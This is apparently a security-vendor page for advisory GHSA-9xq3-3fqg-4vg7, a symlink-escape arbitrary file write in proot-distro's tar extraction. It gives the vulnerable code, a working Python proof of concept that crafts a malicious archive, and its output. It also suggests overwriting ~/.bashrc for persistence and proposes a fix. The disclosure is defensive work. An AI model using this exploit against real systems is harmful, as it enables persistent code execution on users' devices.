GHSA-9xq3-3fqg-4vg7 is a high-severity (CVSS 8.2) CWE-61 vulnerability in proot-distro. O3 Security confirms whether GHSA-9xq3-3fqg-4vg7 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9xq3-3fqg-4vg7.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-9xq3-3fqg-4vg7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 372,613 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
proot-distroReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Repository: termux/proot-distro
Component: proot_distro/commands/install.py → _extract_plain_tar(); also helpers/docker.py → _apply_layer()
Affected Versions
| Component | Version |
|---|---|
| proot-distro | 5.0.2 (confirmed vulnerable) |
| Termux app | 0.119.0-beta.3 |
| Device / ABI | Samsung Galaxy A23 / aarch64 |
| Python (host) | 3.13 |
Vulnerability Description
proot-distro install extracts a plain tarball rootfs by calling _extract_plain_tar() in
proot_distro/commands/install.py. This function correctly rejects tar member names
containing .. components, but applies no equivalent check on symlink targets
(member.linkname). A tar archive can therefore:
- Plant a symlink inside the rootfs whose target is an absolute host path
(e.g.
/data/data/com.termux/files/home). - Write a subsequent regular-file member whose path traverses through that symlink name.
Python's open() follows the symlink, writing the file on the host filesystem at the
privilege level of the Termux process — entirely during proot-distro install, before the
container is ever run.
The same _extract_plain_tar function is reachable via proot-distro reset, and the
equivalent _apply_layer in helpers/docker.py contains the same flaw.
Vulnerable Code
proot_distro/commands/install.py, _extract_plain_tar():
elif member.issym():
# linkname taken verbatim from archive — no validation of target
os.symlink(member.linkname, dest) # ← symlink planted on host
elif member.isreg():
dest = os.path.join(rootfs_dir, rel_path)
with open(dest, 'wb') as out: # ← follows symlink above
...
The existing traversal guard only covers member names:
if any(p in ('..', '') for p in rel_parts):
continue # only checks the name, not the symlink target
There is no check on member.linkname. An absolute symlink target bypasses this guard
entirely.
| Check | Member name (rel_path) | Symlink target (member.linkname) |
|---|---|---|
Reject .. components | ✅ | ❌ |
Confirm stays inside rootfs_dir | ❌ | ❌ |
Proof of Concept
Step 1 — Craft a malicious archive
# craft_evil_layer.py
import tarfile, io, hashlib
PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:
# Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home
sym = tarfile.TarInfo(name='escape')
sym.type = tarfile.SYMTYPE
sym.linkname = '/data/data/com.termux/files/home'
tf.addfile(sym)
# Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS
reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
reg.size = len(PAYLOAD)
tf.addfile(reg, io.BytesIO(PAYLOAD))
data = buf.getvalue()
with open('evil.tar.gz', 'wb') as f:
f.write(data)
print("Created evil.tar.gz")
print("sha256:", hashlib.sha256(data).hexdigest())
Step 2 — Install the archive
$ python craft_evil_layer.py
Created evil.tar.gz
sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57
$ proot-distro install ./evil.tar.gz
[*] Installing from 'evil.tar.gz' as 'evil'...
[*] Extracting rootfs from archive...
[*] Finished installation.
Step 3 — Verify proot-distro version
$ pkg show proot-distro | grep Version
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
Version: 5.0.2
Step 4 — Verify host write
$ cat ~/POC_SUCCESS
TERMUX_ESCAPE_SUCCESS
POC_SUCCESS was written directly into the host Termux $HOME during installation,
with no container login required.
Impact
- Arbitrary host file write at the full privilege of the Termux process, triggered solely
by
proot-distro install— no container interaction required. - A malicious
.tar.gz/.tar.xz/.tgzarchive delivered via a file download, CI artifact, or compromised mirror is sufficient to exploit this. - Practical payloads include overwriting
~/.bashrc,~/.profile,$PREFIX/etc/bash.bashrc, or any file in the Termux home/prefix, achieving persistent code execution the next time the user opens a shell. - Also reachable via
proot-distro resetif the malicious archive is reused, and via_apply_layerinhelpers/docker.py.
Root Cause
_extract_plain_tar validates member names against .. traversal but places no
restriction on symlink targets. The two vectors are treated asymmetrically:
| Check | Member name (rel_path) | Symlink target (member.linkname) |
|---|---|---|
Reject .. components | ✅ | ❌ |
Confirm stays inside rootfs_dir | ❌ | ❌ |
The member-name check (any(p in ('..', '') for p in rel_parts)) is necessary but not
sufficient: a symlink with an absolute target bypasses it entirely.
Proposed Fix
Add a guard that rejects any symlink whose resolved target falls outside rootfs_dir.
Apply in both _extract_plain_tar and _apply_layer:
def _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -> bool:
"""Return True only if the symlink target resolves inside rootfs_dir."""
if os.path.isabs(linkname):
return False # absolute targets always escape on the host
resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname))
real_root = os.path.realpath(rootfs_dir)
real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved)
else os.path.normpath(resolved))
return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root
Then in _extract_plain_tar:
elif member.issym():
if not _is_safe_symlink(rootfs_dir, dest, member.linkname):
continue # drop unsafe symlink
if os.path.lexists(dest):
...
os.symlink(member.linkname, dest)
Apply the identical guard inside _apply_layer in helpers/docker.py.
Note: A stricter alternative — matching Docker's own behavior — is to rewrite absolute symlink targets to relative paths within the rootfs rather than dropping them, to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as
/usr/lib → /lib.
Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.
Maintainer: @sylirre — report via GitHub Security Advisory on the termux/proot-distro repository.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | proot-distro | all versions | 5.1.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for proot-distro. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update proot-distro to 5.1.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9xq3-3fqg-4vg7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9xq3-3fqg-4vg7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9xq3-3fqg-4vg7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9xq3-3fqg-4vg7 in your dependencies?
O3 detects GHSA-9xq3-3fqg-4vg7 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.